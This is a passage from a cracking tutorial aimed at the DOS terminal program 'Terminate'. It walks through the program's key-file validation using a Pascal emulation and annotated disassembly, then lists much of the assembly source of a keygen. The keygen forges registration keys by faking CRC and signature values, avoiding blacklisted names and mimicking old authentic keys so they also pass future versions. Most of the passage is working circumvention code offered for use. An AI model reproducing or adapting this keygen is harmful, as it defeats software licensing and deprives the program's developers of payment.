---------------------------------------} { global vars} Var g_bl_4,g_bl_5,g_var118:Real; { "check_integrity" emulation ;-) } { it
takes as args 3 values: "real" crc from decrypted block4, "real" "magic" from block5 and "real" var118 - its "floating point" flag
} function check_integrity(arg_bl4,arg_bl5,arg_var118:Real):Integer; Var X1,X2,X3,X4,X5:Real; bl_4,bl_5,mul_const:Real;
var6,var12,var18,var1E,var2E,var6C,var118:Real; flag:Integer; begin { vars init } flag:=0; { "bad key" by default }
X1:=2738.231; X2:=9823.436; X4:=2313.412; X3:=7863.123; X5:=2313.444; var18:=666666.0; var12:=666666.0;
var6:=1559918.7666; mul_const:=666666.0; bl_4:=arg_bl4; bl_5:=arg_bl5; var118:=arg_var118; bl_4:=bl_4*X4-bl_5;
{<-------------- !!!! } var18:=X4*235845.76666*arg_bl4; { fake } var1E:=44545.781666/var18*mul_const+var12; { fake } if
(var6+bl_4<=var18) then {fake} begin var2E:=var18+var1E; { don't used in future } end else begin
mul_const:=mul_const*var18-X4+arg_bl4; { don't used in future } end; var6C:=var1E*random($E925); { don't used in future }
if (var118>89873.12948) then { <-------------- !!! } X4:=876478.312; bl_5:=bl_4*X4-arg_bl4; { <-------------- !!! } X2:=bl_5; {
x2 must be > 7823.466 } { <-------------- !!! } { therefore: (arg_bl4*X4-arg_bl5)*X4-arg_bl4>7823.466
arg_bl4*X4*X4-arg_bl5*X4-arg_bl4>7823.466 arg_bl4(X4*X4-1)-arg_bl5*X4>7823.466
arg_bl4*5351874.0817-arg_bl5*2313.412>7823.466 Left part of this expression is always > right part whatever arg_bl4 and
arg_bl5 we have, because arg_bl5=arg_bl4+10 or =arg_bl4-10, i.e. arg_bl5 is only slightly bigger or less than arg_bl4 and
constant near arg_bl4(5351874.0817) is MUCH bigger than constant near arg_bl5(2313.412). So whatever arg_bl4 and arg_bl5
we have X2 always >7823.466 There is only one var left to explore - X4. It must be <575498.545. By default X4=2313.412.
So, by default it bypasses check. But it can be changed if var118(arg pushed to j_check_integrity) > 89873.12948. By default
var118=57544.23. So by default it <89873.12948 and therefore X4 doesnt changed and it bypasses check. But var118 also can
be changed in sub "validate key" if "magic" from block 5 doesn't ="real"CRC from block4 + 10 and if "magic" from block 5
doesn't ="real"CRC from block4 - 10. So, to bypass all checks in "j_check_integrity" we need to do next steps: -take CRC from
decrypted block 4; -convert it to real -check if it <0 and change sign then -if it<10 we must add 10 -if it>10 we must sub 10
-convert it back to Longint (i.e. 32bit value) -put calculated value to block5 at offsets 15eh,160h. } if X1<553745 then { doesn't
change } begin if X2>7823.466 then { changes } begin if X3<587863.173 then { doesn't change } begin if X4<575498.545
then { changes - most important !!! } begin if X5>2213.494 then { doesn't change } flag:=1 { valid key } end end end end;
check_integrity:=flag; end; {-------------------------------- MAIN ------------------------------------} begin g_bl_4:=50000.0; {
simulate CRC from decrypted block 4} g_var118:=57544.23; { by default - don't change } { simulate Terminate's check}
if(g_bl_4<0) then g_bl_4:=g_bl_4*(-1); if(g_bl_5<0) then g_bl_5:=g_bl_5*(-1); {calc "magic" for block 5}
g_bl_5:=g_bl_4+10; { try to add other value or sub or whatever else} if(g_bl_4+10<>g_bl_5) then begin
if(g_bl_4-10<>g_bl_5) then g_var118:=g_var118*9823.23 { set "bad key" flag } end;
if(check_integrity(g_bl_4,g_bl_5,g_var118)=0) then { call integrity_check } begin writeln(' Key is not valid '); end else begin
writeln(' Key is valid '); end; end. {--------------------------- cut ---------------------------------------} This proggy is very helpfull to
understand that key file logic is very simple. I was disappointed ;-)) Ok, lets imagine that we bypassed all checks in
"check_integrity" (and if we didn't - we will never return from "check_integrity", it will produce very bad noise on PC speaker
and go to infinite?? loop ) but it ain't over. Now T begins to check name from decrypted block 4 with several names, which
were probably in bogus keys. See complete list of these bad names in source of my keygen. Just for example: ... 87A8:0E74
mov di, offset unk_77A8_4 87A8:0E77 push cs 87A8:0E78 push di 87A8:0E79 call @$basg$qm6Stringt1 ; Load string
87A8:0E7E mov ax, 2711h 87A8:0E81 xor dx, dx 87A8:0E83 push dx 87A8:0E84 push ax 87A8:0E85 call decryptor1 ;
decrypt "Peter Thompson" 87A8:0E8A call @$bsub$qm6Stringt1 ; Compare two strings 87A8:0E8F jnz loc_77A8_E9A After
that T performs last and most tricky check. It checks decrypted block 4 at certain offsets for specific values and decide if key
authentic or not. Offsets in block 4 which are checked by T: 72h,74h 14eh,150h - most important, coz T rejects keys with
certain values at this offset 156h,158h 87A8:138C loc_77A8_138C: ; CODE XREF: validate_key+F5B j 87A8:138C mov di,
[bp+arg_0] 87A8:138F mov ss:[di+var_138], 0D51Bh 87A8:1396 mov ss:[di+var_136], 6660h 87A8:139D mov ax,
ss:[di+var_138] 87A8:13A2 mov dx, ss:[di+var_136] 87A8:13A7 xor ax, 6660h ; ax=b37b 87A8:13AA xor dx, 6660h ; dx=0
87A8:13AE les di, ss:[di+var_106] 87A8:13B3 cmp dx, es:[di+150h] 87A8:13B8 jnz loc_77A8_13F3 87A8:13BA cmp ax,
es:[di+14Eh] 87A8:13BF jnz loc_77A8_13F3 87A8:13C1 mov di, [bp+arg_0] 87A8:13C4 les di, ss:[di+var_106] 87A8:13C9
cmp word ptr es:[di+158h], 0E14Dh 87A8:13D0 jnz loc_77A8_13F3 87A8:13D2 cmp word ptr es:[di+156h], 2E1Ah
87A8:13D9 jnz loc_77A8_13F3 87A8:13DB mov di, [bp+arg_0] 87A8:13DE mov ss:[di+var_FLAG_ax], 5292h ; 234666.23
87A8:13E5 mov ss:[di+var_FLAG_bx], 8EB8h 87A8:13EC mov ss:[di+var_FLAG_dx], 652Ah ... 87A8:14C7
loc_77A8_14C7: ; CODE XREF: validate_key+1072 j 87A8:14C7 mov di, [bp+arg_0] 87A8:14CA les di, ss:[di+var_106]
87A8:14CF cmp word ptr es:[di+158h], 0FA98h 87A8:14D6 jz loc_77A8_14DB 87A8:14D8 jmp loc_77A8_1598 87A8:14DB
;
87A8:14DB 87A8:14DB loc_77A8_14DB: ; CODE XREF: validate_key+10D9 j 87A8:14DB cmp word ptr es:[di+156h],
12FDh 87A8:14E2 jz loc_77A8_14E7 87A8:14E4 jmp loc_77A8_1598 87A8:14E7 ;
87A8:14E7 87A8:14E7 loc_77A8_14E7: ; CODE XREF: validate_key+10E5 j 87A8:14E7 mov di, [bp+arg_0] 87A8:14EA les
di, ss:[di+var_106] 87A8:14EF mov al, es:[di+76h] ; bit 0 of this byte must be 0 87A8:14F3 and al, 1 ; else we get message that
this 87A8:14F5 cmp al, 1 ; key created for other platform 87A8:14F7 jnz loc_77A8_1545 ; or something like this ....
87A8:1545 loc_77A8_1545: ; CODE XREF: validate_key+10FA j 87A8:1545 mov di, [bp+arg_0] 87A8:1548 les di,
ss:[di+var_106] 87A8:154D cmp word ptr es:[di+74h], 4638h 87A8:1553 jnz loc_77A8_155D 87A8:1555 cmp word ptr
es:[di+72h], 2391h 87A8:155B jz loc_77A8_1561 87A8:155D loc_77A8_155D: ; CODE XREF: validate_key+1156 j
87A8:155D mov al, 0 87A8:155F jmp short loc_77A8_1563 87A8:1561 ;
87A8:1561 loc_77A8_1561: ; CODE XREF: validate_key+115E j 87A8:1561 mov al, 1 87A8:1563 loc_77A8_1563: ; CODE
XREF: validate_key+1162 j 87A8:1563 mov [bp+var_FLAG_1_byte], al 87A8:1566 mov di, [bp+arg_0] 87A8:1569 mov ax,
ss:[di+var_110] 87A8:156E sub ax, 2C92h ; 3ef 87A8:1571 xor dx, dx ; 0 87A8:1573 les di, ss:[di+var_106] 87A8:1578 cmp
dx, es:[di+150h] 87A8:157D jnz loc_77A8_1598 87A8:157F cmp ax, es:[di+14Eh] 87A8:1584 jnz loc_77A8_1598 87A8:1586
mov word_192F_4A, 3D91h ; 102394.93 87A8:158C mov word_192F_4C, 770Ah 87A8:1592 mov word_192F_4E, 47FDh
87A8:1598 loc_77A8_1598: ; CODE XREF: validate_key+10DB j 87A8:1598 mov di, [bp+arg_0] 87A8:159B les di,
ss:[di+var_106] 87A8:15A0 mov ax, es:[di+14Eh] 87A8:15A5 mov dx, es:[di+150h] 87A8:15AA mov Bl4_14e_AX, ax
87A8:15AD mov Bl4_150_DX, dx 87A8:15B1 mov di, [bp+arg_0] 87A8:15B4 les di, ss:[di+var_106] Developers of T are
very smart. They don't check for good values. They check for "bad" ones, i.e. values from keys , generated by crackers for
previous version of T. This strategy allows them to hide "picture" of authentic key. Cracker just couldn't know how valid key
should looks like. He can only see how this key shouldn't looks like :)) This is a big difference. Cracker looks here, chooses
values at offsets 15e,160 which are not STILL checked and makes new keygen. Developers analyse that keygen and include
check for it it next version of T. Very smart move. So how can we produce valid key for all future version of T ? There are
several ways: 1) these keys must not contain values checked below at offsets 15eh,160h So what could they contain there: a)
some fixed values, not checked in current version of T. But this will lead us nowhere. Developers of T will include check for
these values in future ver of T. b) random values, which will be different for every key our keygen will produce. We only need
to check it for "bad" ones as T does and regene rate if need. This is good way but there is posibility that one day our keygen
will generate key, which will contain values, which will be checked in future ver of T. And there is another posibility:
developers of T begins to check for "good" values, i.e. values which exist in authentic keys - then our keys won't be valid. c)
We can make our keys look like old authentic keys, because T must accept old authentic keys. T checks for such keys in very
"softly" and hidden way. First, it checks offsets 156h,158h for 0FA98h,12FDh: 87A8:14CF cmp word ptr es:[di+158h],
0FA98h 87A8:14D6 jz loc_77A8_14DB 87A8:14D8 jmp loc_77A8_1598 87A8:14DB loc_77A8_14DB: ; CODE XREF:
validate_key+10D9 j 87A8:14DB cmp word ptr es:[di+156h], 12FDh 87A8:14E2 jz loc_77A8_14E7 87A8:14E4 jmp
loc_77A8_1598 If T founds these values then it checks if byte at offset 76h have bit 0 set to 1. 87A8:14EF mov al, es:[di+76h]
; bit 0 of this byte must be 0 87A8:14F3 and al, 1 ; else we get message that this 87A8:14F5 cmp al, 1 ; key created for other
platform 87A8:14F7 jnz loc_77A8_1545 ; or something like this If bit0 set to 0 then T perform next check: 87A8:154D cmp
word ptr es:[di+74h], 4638h ; 87A8:1553 jnz loc_77A8_155D 87A8:1555 cmp word ptr es:[di+72h], 2391h ; 87A8:155B jz
loc_77A8_1561 87A8:155D loc_77A8_155D: ; CODE XREF: validate_key+1156 j 87A8:155D mov al, 0 ; some flag, used
87A8:1561 loc_77A8_1561: ; CODE XREF: validate_key+115E j 87A8:1561 mov al, 1 87A8:1563 loc_77A8_1563: ; CODE
XREF: validate_key+1162 j 87A8:1563 mov [bp+var_FLAG_1_byte], al 87A8:1566 mov di, [bp+arg_0] And finally T checks
offset 14eh,150h for 3ef, 0. If such values found T set its beloved "floating point" flag. 87A8:1569 mov ax, ss:[di+var_110]
87A8:156E sub ax, 2C92h ; 3ef 87A8:1571 xor dx, dx ; 0 87A8:1573 les di, ss:[di+var_106] 87A8:1578 cmp dx, es:[di+150h]
87A8:157D jnz loc_77A8_1598 87A8:157F cmp ax, es:[di+14Eh] 87A8:1584 jnz loc_77A8_1598 87A8:1586 mov
word_192F_4A, 3D91h ; 102394.93 87A8:158C mov word_192F_4C, 770Ah ;"floating point" flag 87A8:1592 mov
word_192F_4E, 47FDh And thats all! After that T begins check offsets 14eh,150h for "bad" values even if it found 3ef,0 there
earlier. But it we have 3ef,0 at offsets 14e,150 - we bypass those checks for sure !!! 87A8:15B9 cmp word ptr es:[di+150h],
0FE6Fh 87A8:15C0 jnz loc_77A8_15CB 87A8:15C0 jnz loc_77A8_15CB 87A8:15C2 cmp word ptr es:[di+14Eh], 0DF92h
87A8:15C9 jz loc_77A8_161E ; "unauthorized key" 87A8:15CB loc_77A8_15CB: ; CODE XREF: validate_key+11C3 j
87A8:15CB mov di, [bp+arg_0] 87A8:15CE les di, ss:[di+var_106] 87A8:15D3 cmp word ptr es:[di+150h], 0C740h
87A8:15DA jnz loc_77A8_15E5 87A8:15DC cmp word ptr es:[di+14Eh], 0AE99h 87A8:15E3 jz loc_77A8_161E 87A8:15E5
loc_77A8_15E5: ; CODE XREF: validate_key+11DD j 87A8:15E5 mov di, [bp+arg_0] 87A8:15E8 les di, ss:[di+var_106]
87A8:15ED cmp word ptr es:[di+150h], 0 87A8:15F3 jnz loc_77A8_15FE 87A8:15F5 cmp word ptr es:[di+14Eh], 0B37Bh
87A8:15FC jz loc_77A8_161E 87A8:15FE loc_77A8_15FE: ; CODE XREF: validate_key+11F6 j 87A8:15FE mov di,
[bp+arg_0] 87A8:1601 les di, ss:[di+var_106] 87A8:1606 cmp word ptr es:[di+150h], 0C740h 87A8:160D jz loc_77A8_1612
87A8:160F jmp loc_77A8_1704 87A8:1612 ;
87A8:1612 loc_77A8_1612: ; CODE XREF: validate_key+1210 j 87A8:1612 cmp word ptr es:[di+14Eh], 0AE66h 87A8:1619
jz loc_77A8_161E 87A8:161B jmp loc_77A8_1704 87A8:161E ;
link: tlink.exe term_akg.obj .286p .MODEL Small .Code ;----------------------------- macros --------------------------------- PRINTF
Macro ; macro for display string mov AH,09 ; ds:dx must point to string int 21h Endm GETCH Macro ; wait for press key xor
AH,AH int 16h Endm SCANF Macro ; macro for enter string from kbd mov AH,0Ah ; ds:dx must points to buffer int 21h
Endm WRT_BLOCK Macro ; write current block of key to keyfile mov AH,40h mov BX,Handle mov CX,Blk_len mov DX,
Offset Temp_blk int 21h Endm STORE_CRC Macro ; put crc in block mov BX, Crc_ax mov DI, Offset Temp_blk+15Eh mov
DS:[DI],BX inc DI inc DI mov BX, Crc_dx mov DS:[DI],BX Endm ;================================
CODE_SEG ============================== START: .Startup ;set mode 3 mov AX,3 int 10h mov DX, Offset
Start_msg ; display start message PRINTF mov CL,Byte Ptr ES:[80h] ; number+1 of char in cmd line or CL,CL jne LABEL1 ;
damn, "relative jump out of range" jmp GET_REGINFO LABEL1: inc CL ; +1 because we dec it at first step of loop mov
DI,80h ; start offset-1 of cmd line in PSP CHECK_CMD_LINE: inc DI dec CL jne LABEL2 ; damn, "relative jump out of
range" jmp GET_REGINFO LABEL2: mov AL, ES:[DI] cmp AL,' ' ; dont notice spaces je CHECK_CMD_LINE cmp AL,'?' ;
"?" jne CHECK_SW2 mov DX,Offset Help ; display help PRINTF jmp QUIT ; set flags depending on cmd line CHECK_SW2:
cmp AL,'s' ; switches je RND_SIG cmp AL,'S' jne CHECK_SW3 RND_SIG: mov Rnd_sig_flag,1 jmp CHECK_CMD_LINE
CHECK_SW3: cmp AL,'z' je Z_FIL cmp AL,'Z' jne CHECK_SW4 Z_FIL: mov Z_fil_flag,1 jmp CHECK_CMD_LINE
CHECK_SW4: cmp AL,'l' je FIX_LEN1 cmp AL,'L' jne CHECK_SW5 FIX_LEN1: mov Fixed_len_flag,1 jmp
CHECK_CMD_LINE CHECK_SW5: cmp AL,'a' je FIX_LEN2 cmp AL,'A' jne CHECK_SW6 FIX_LEN2: mov
Fixed_len_flag,2 jmp CHECK_CMD_LINE CHECK_SW6: cmp AL,'c' je NO_CRC cmp AL,'C' jne CHECK_SW7 NO_CRC:
mov No_crc_flag,1 jmp CHECK_CMD_LINE CHECK_SW7: cmp AL,'o' je OFF_72 cmp AL,'O' jne CHECK_SW8 OFF_72:
mov Off_72_flag,1 jmp CHECK_CMD_LINE CHECK_SW8: cmp AL,'i' je OFF_152__ cmp AL,'I' jne CHECK_SW9
OFF_152__: call CONVERT CHECK_SW9: cmp AL,'r' je NO_HDR cmp AL,'R' je NO_HDR ; damn, "relative jump out of
range" jmp CHECK_CMD_LINE NO_HDR: mov No_hdr_flag,1 jmp CHECK_CMD_LINE GET_REGINFO: ;
-------------------------- get reginfo ---------------------------- push DS ; we dont need PSP anymore pop ES mov DX, Offset
Start_msg1 ; display start message PRINTF GET_REGINFO1: mov DX, Offset Name_ PRINTF mov DX, Offset Nam ; get
name SCANF mov DX, Offset Addr_ask PRINTF mov DX, Offset Addres ; get addres SCANF mov DX, Offset City_ask
PRINTF mov DX, Offset City SCANF mov DX, Offset Country_ask PRINTF mov DX, Offset Country SCANF mov DX,
Offset Nl PRINTF ;------------------------------- check for bad names and city ---------- mov Counter1,21 ; number of names to
check xor DH,DH xor CH,CH mov DI,Offset Bad_names AGAIN: cmp Counter1,1 ; last one in list of bad name jnz
CHECK_NAME ; is acctualy city ( checked at "city" field) mov SI,Offset City+2 jmp GET_LEN CHECK_NAME: mov
SI,Offset Nam+2 ; bypass buffer len and num GET_LEN: mov Byte Ptr CL,[DI] ; length of bad name mov Byte Ptr AL,[SI-1] ;
length of entered name cmp AL,CL ; if len of nam>len of bad name jae USE_BAD_NAM_LEN ; use len if bad name as
counter xchg CL,AL ; else use nam len USE_BAD_NAM_LEN: mov DL,CL ; save for future use inc DI ; bypass len. of bad
name repz cmpsb jz BAD_NAME_FOUND dec Counter1 jz CREAT_KEY dec DI sub DX,CX sub DI,DX ; find next bad
name mov Byte Ptr DL,[DI] add DI,DX inc DI jmp AGAIN BAD_NAME_FOUND: mov DX,Offset Bad_name_msg PRINTF
GETCH jmp GET_REGINFO1 ;------------------------------- create key file ----------------------- CREAT_KEY: mov AX, 3C00h
mov CX, 32 ; "archive" file mov DX, Offset Keyfile int 21h ; create keyfile jnb NO_ERROR1 mov DX, Offset Error_1
PRINTF jmp QUIT NO_ERROR1: mov Handle,AX; call RANDOMIZE ; init "seed" MAIN_LOOP: mov AX,Crc_ax mov
Temp_ax,AX mov AX,Crc_dx mov Temp_dx,AX inc Counter1 call FILL_BLK ; fill block with random words or 0 cmp
Counter1,1 ; first block ? jne CHECK4 cmp No_hdr_flag,1 je CHECK_BAD_BYTE call FILL_1ST_BLK ; Write header to 1st
block jmp CRC CHECK_BAD_BYTE: ; bypass Terminate check cmp Byte Ptr [Offset Temp_blk+0Bh],46h jne CRC
BAD_BYTE: call RANDOM cmp AL,46h je BAD_BYTE mov Byte Ptr [Offset Temp_blk+0Bh],AL CHECK4: cmp
Counter1,4 ; block 4? jne CRC call MAKE_BLK4 ; write reginfo, signatures, pak block4 CRC: mov DI,Offset Temp_blk and
Word Ptr Counter,0 ; start offset in block =0 call CRC_CALC ; check if we need to adjust CRC in block 2,11 cmp Counter1,2
;block 2? jne CHECK11 mov DI, Offset Temp_blk call CHK_5 ; check if first 5 bytes of block 2 or AL,AL ; = each other then
modify CRC_AX, jne ADJUST_CRC ; CRC_DX as Terminate does jmp WRITE ADJUST_CRC: add Crc_ax,329h ; adjust
CRC adc Crc_dx,0h jmp WRITE CHECK11: cmp Counter1,0Bh jne STORE_CHK lea DI, Temp_blk[12Ch] call CHK_5 ;
check if 5 bytes of block 11 ; = each other then modify CRC_AX, ; CRC_DX as Terminate does or AL,AL je
CURENT_STORE add Crc_ax,192h adc Crc_dx,0h jmp CURENT_STORE ; store CRC if needed STORE_CHK: cmp
Counter1,5 ; we need to save magic values jne CHECK6 mov BX, Bl5_ax ; to block 5 mov DI, Offset Temp_blk+15Eh mov
DS:[DI],BX mov BX, Bl5_dx inc DI inc DI mov DS:[DI],BX jmp WRITE CHECK6: cmp Counter1,6 ; dont store crc in blocks
1-5 jb WRITE cmp No_crc_flag,1 je CLEAR_CRC STORE: ; previous block CRC store mov BX, Temp_ax mov DI, Offset
Temp_blk+15Eh mov DS:[DI],BX inc DI inc DI mov BX, Temp_dx mov DS:[DI],BX jmp WRITE CURENT_STORE: ; in
block 11 we must save STORE_CRC ; current block CRC jmp WRITE CLEAR_CRC: lea DI, Temp_blk[15Eh] and Word Ptr
[DI],0 ; clear CRC place inc DI inc DI and Word Ptr [DI],0 WRITE: WRT_BLOCK jnb NO_ERROR2 mov DX, Offset
Error_2 PRINTF jmp CLOSE_KF NO_ERROR2: cmp Counter1,Num_blk je DONE jmp MAIN_LOOP DONE: mov DX,
Offset Done_msg PRINTF cmp Fixed_len_flag,1 je CLOSE_KF inc Counter1 ;bypass own check for 0DCh in fill_blk call
FILL_BLK call RANDOMIZE RND_LEN: call RANDOM ; get random length cmp Fixed_len_flag,2 jne chk_rnd_part mov
AL,3905-3894 ;make fixed len = 3905 jmp ADD_RND_PART CHK_RND_PART: cmp AL,1 ; it should be from 1 to 105 jb
RND_LEN cmp AL,105 ja RND_LEN ADD_RND_PART: ; write random size block xor AH,AH ; to the end of keyfile mov
CX,AX mov AH,40h mov BX,Handle mov DX, Offset Temp_blk int 21h CLOSE_KF: mov AH,3Eh mov BX,Handle int 21h
QUIT: mov AX,4C00h int 21h ;------------------------------- CRC calc --------------------------------- CRC_CALC Proc ; proc calc
crc for current block of key in Temp_Block ; kills di,ax,bx,cx,dx ; di - start offset ; counter - number of bytes to proceed ; this
sub taken from terminate, modified a little ; mov di, offset Temp_Blk LOOP1: mov Byte Ptr AL,DS:[DI] mov Word Ptr
BX,Crc_ax mov Word Ptr DX,Crc_dx mov CX,AX push DX push BX xor BX,CX xor BH,BH shl BX,1 shl BX,1 add BX,
Offset Crc_table mov AX,DS:[BX] mov CX,DS:[BX+2] pop BX pop DX push CX mov CX,8 LOOP2: shr DX,1 rcr BX,1 loop
LOOP2 and DX,0FFh pop CX xor AX,BX mov BX,CX xor DX,BX mov Word Ptr Crc_ax,AX mov Word Ptr Crc_dx,DX inc
DI inc Counter cmp Word Ptr Counter,15Eh jne LOOP1 ret CRC_CALC Endp ;------------------------------ Random
----------------------------- RANDOM Proc ; proc generate pseudo-random number ; kill ax ; return random num in ax ; after
several experiments I found combination of math operations ; that lets create random numbers rather well mul Rnd_word1 xchg
AH,AL xor AX,Rnd_word2 add Rnd_word1,AX push AX mov AX,Rnd_word1 xor Rnd_word2,AX pop AX ; and ax,0ffh ret
RANDOM Endp ;----------------------------- Randomize ---------------------------- RANDOMIZE Proc ; kill ax,dx ; modify "seed"
push DS mov AX, 40h ; segment of timer counter mov DS,AX cli mov AX, DS:[6Ch] ; offset of timer counter low word mov
DX, DS:[6Eh] ; high word sti pop DS sub Rnd_word1,AX add Rnd_word2,DX ret RANDOMIZE Endp
;--------------------------------- Fill block with random bytes or 0 --- FILL_BLK Proc ; kill di,cx,ax,es cld mov Word Ptr
CX,Blk_len/2 dec CX ; dont fill CRC place dec CX mov DI, Offset Temp_blk cmp Z_fil_flag,1 ; if =0 then fill block with
random jne LOOP3 ; words xor AX,AX ; else - with 0 push DS pop ES rep stosw ret LOOP3: call RANDOM mov Word Ptr
DS:[DI],AX ; fill with random words inc DI inc DI loop LOOP3 cmp Counter1,0Bh ; we need to check in block 11 ; offset
15ah for value 0DCh ; because Terminate also does ; this check, but Term looks ; for whole signature DC,64,D9,E9 ; Although
its very small posibility ; to get that signature in our block 11 ; after filling it with random values, ; I decided to check for first
byte ; and randomly change it if it = DC jne RET_ cmp Byte Ptr [Offset Temp_blk+15Ah],0DCh jne RET_ BAD_BYTE1: call
RANDOM cmp AL,0DCh je BAD_BYTE1 mov Byte Ptr [Offset Temp_blk+15Ah],AL RET_: ret FILL_BLK Endp
;----------------------------- Write header to 1st block ---------------- FILL_1ST_BLK Proc ;kill di,si,cx cld mov SI, Offset
Key_header1 mov DI, Offset Temp_blk mov CX,33 ; length of header1 rep movsb xor CX,CX ;copy name mov SI, Offset
Nam+2 mov DI, Offset Temp_blk+33 mov CL, Nam_len ; length of Name rep movsb mov SI, Offset Key_header2 mov DI,
Offset Temp_blk+33 mov CL, Nam_len add DI, CX mov CX,5 ; length of header2 rep movsb ret FILL_1ST_BLK Endp
;------------------------------- Check for 5 = bytes ----------- CHK_5 Proc ; di must point to start offset ; proc check 5 consecutive
bytes, begin from es:[di] ; return al=1 if they equal each other ; else al=0 ; kill cx mov CX,4 mov Byte Ptr AL,[DI] LOOP4: inc
DI mov Byte Ptr AH,[DI] cmp AL,AH jne RET_1 xchg AL,AH loop LOOP4 mov AL,1 ret RET_1: xor AL,AL ret CHK_5
Endp ;---------------------------- make block 4 --------------------------- MAKE_BLK4 Proc cld ; set direction - forward xor CH,CH
lea SI, Nam[1] ; points to len of name lea DI, Temp_blk[7Ah] ; points to offset of name in blk4 mov CL, Nam_len ; length of
name inc CL rep movsb ; copy lea SI, Addres[1] ;addres lea DI, Temp_blk[0ADh] mov CL, Addres_len inc CL rep movsb lea
SI, City[1] ;city lea DI, Temp_blk[0E0h] mov CL, City_len inc CL rep movsb lea SI, Country[1] ;country lea DI,
Temp_blk[113h] mov CL, Country_len inc CL rep movsb cmp word ptr Off_152_Flag,0 je CHECK_OFF_72 lea
di,Temp_blk[154h] mov ax,Off_154_word mov word ptr [di],ax mov ax,Off_152_word mov word ptr [di-2],ax
CHECK_OFF_72: cmp Off_72_flag,1 je Off_72_Fill jmp CHECK_RND_SIG Off_72_Fill: lea DI,Temp_blk[74h] mov Word
ptr [DI],4638h mov Word ptr [DI-2],2391h CHECK_RND_SIG: cmp Byte Ptr Rnd_sig_flag,1 je RANDOM_SIG ; this set of
constants create valid key ; for ver 3.0, 4.0 and 5.0 ; future versions also should accept keys ; with these constants in order to
accept old authentic keys lea DI,Temp_blk[150h] mov Word Ptr [DI],0 mov Word Ptr [DI-2],3EFh lea DI,Temp_blk[158h]
mov Word Ptr [DI],0FA98h mov Word Ptr [DI-2],12FDh lea DI,Temp_blk[76h] and Byte Ptr [DI],0FEh ;clear bit 0 jmp
CRC_N_PACK RANDOM_SIG: cmp Z_fil_flag,1 ; if we filled key with 0 jne CHECK_SIG ; we must fill signatures' offsets ;
with random values call RANDOMIZE cmp Off_72_flag,1 je NO_RANDOM_72 call RANDOM lea DI,Temp_blk[74h] mov
Word Ptr [DI],AX call RANDOM mov Word Ptr [DI-2],AX NO_RANDOM_72: call RANDOM lea DI,Temp_blk[150h] mov
Word Ptr [DI],AX call RANDOM mov Word Ptr [DI-2],AX call RANDOM lea DI,Temp_blk[158h] mov Word Ptr [DI],AX
call RANDOM mov Word Ptr [DI-2],AX CHECK_SIG: lea DI,Temp_blk[150h] ; else we already have random sig cmp Word
Ptr [DI],0 ; but we need check them for jnz NEXT_CHK1 ; "bad" ones cmp Word Ptr [DI-2],0B37Bh ; "thanx" to Predator666
jz BAD_SIG ; he used this const in Term4 keygen cmp Word Ptr [DI-2],0B47Bh ; "thanx" to Predator666 jz BAD_SIG ; he
used this const in Term5 keygen ; and for sure this value will be ;checked in next ver of Terminate NEXT_CHK1: cmp Word
Ptr [DI],0FE6Fh ; these constants checked jnz NEXT_CHK2 ; in Term 4,5 cmp Word Ptr [DI-2],0DF92h ; jz BAD_SIG
NEXT_CHK2: cmp Word Ptr [DI],0C740h ; these constants checked jnz SIG_OK ; in Term 4,5 cmp Word Ptr [DI-2],0AE99h
; jz BAD_SIG cmp Word Ptr [DI-2],0AE66h jz BAD_SIG SIG_OK: ; lets check offsets 156h,158h lea DI,Temp_blk[158h]
cmp Word Ptr [DI],0FA98h ; we need really random signatures jnz NEXT_CHK3 ; which dont checked in Terminate cmp
Word Ptr [DI-2],12FDh ; at all jz BAD_SIG1 NEXT_CHK3: cmp Word Ptr [DI],0E14Dh jnz NEXT_CHK4 cmp Word Ptr
[DI-2],2E1Ah jz BAD_SIG1 NEXT_CHK4: cmp Off_72_flag,1 je CRC_N_PACK lea DI,Temp_blk[74h] cmp Word Ptr
[DI],04638h ; we need really random signatures jnz CRC_N_PACK ; which dont checked in Terminate cmp Word Ptr
[DI-2],2391h ; at all jz BAD_SIG2 BAD_SIG: call RANDOMIZE call RANDOM lea DI,Temp_blk[150h] mov Word Ptr
[DI],AX call RANDOM mov Word Ptr [DI-2],AX jmp RANDOM_SIG ; check again BAD_SIG1: call RANDOMIZE call
RANDOM lea DI,Temp_blk[158h] mov Word Ptr [DI],AX call RANDOM mov Word Ptr [DI-2],AX jmp RANDOM_SIG ;
check again BAD_SIG2: call RANDOMIZE call RANDOM lea DI,Temp_blk[74h] mov Word Ptr [DI],AX call RANDOM
mov Word Ptr [DI-2],AX jmp RANDOM_SIG ; check again CRC_N_PACK: push Crc_ax push Crc_dx or Word Ptr
Crc_ax,0FFFFh or Word Ptr Crc_dx,0FFFFh lea DI,Temp_blk[5Bh] mov Counter,5Bh call CRC_CALC ;calc crc of unpacked
blk4 STORE_CRC ; from 5bh to 15eh pop Crc_dx pop Crc_ax test DX,8000h ; if 32 bit value in dx:ax <0 je SIGN_PLUS ;
then change sign not DX neg AX SIGN_PLUS: cmp DX,0 ; this checks need because off: ; if dx:ax<0 and abs val of dx:ax<10
; after we change it sign ; and sub 10 we again get value <0 ; example: CRC of unp block 4 is dx:ax=-9 ; we change sign and
get dx:ax=9 ; lets dont check abs value and simply ; sub 10, we get dx:ax=-1 and store it to blk5 ; then when Terminate begin to
check key ; it take CRC of unpacked blk4 and ; change sign and get dx:ax=9 ; it also take values from block5 and ; change their
sign too: =1 ; Term try to add 10 to CRC of blk4 and get 19 ; not = 1 ; Term try to sub 10 and get -1 ; this also not = 1 => bad
key ; so we must look for abs value of CRC ; of unpacked block4 and add 10 if it<10 jne MINUS_10 cmp AX,0Ah ja
MINUS_10 add AX,0Ah jmp PAK MINUS_10: ; dx:ax - 0ah , where 0ah in cx:bx xor CX,CX mov BX,0Ah sub AX,BX sbb
DX,CX PAK: push AX push DX mov CX,161h-5Ah ; encrypt reginfo 3 times lea DI, Temp_blk[5Bh] ; in back order mov
Temp_ax,904h mov Temp_dx,33EEh call ED_XOR mov CX,161h-5Ah lea DI, Temp_blk[5Bh] mov Temp_ax,325Ch mov
Temp_dx,0 call ED_XOR mov CX,161h-5Ah lea DI, Temp_blk[5Bh] mov Temp_ax,7 mov Temp_dx,0 call ED_XOR ; simple
xor with 0ffh mov CX,161h-5Ah lea DI, Temp_blk[5Bh] LOOP6: xor Byte Ptr DS:[DI],0FFh inc DI loop LOOP6 pop DX pop
AX mov Bl5_ax,AX ; save values for future store mov Bl5_dx,DX ; in block 5 ret MAKE_BLK4 Endp
;-------------------------------- encrypt/decrypt ------------------------ ED_XOR Proc ; input: di must points to offset of place to
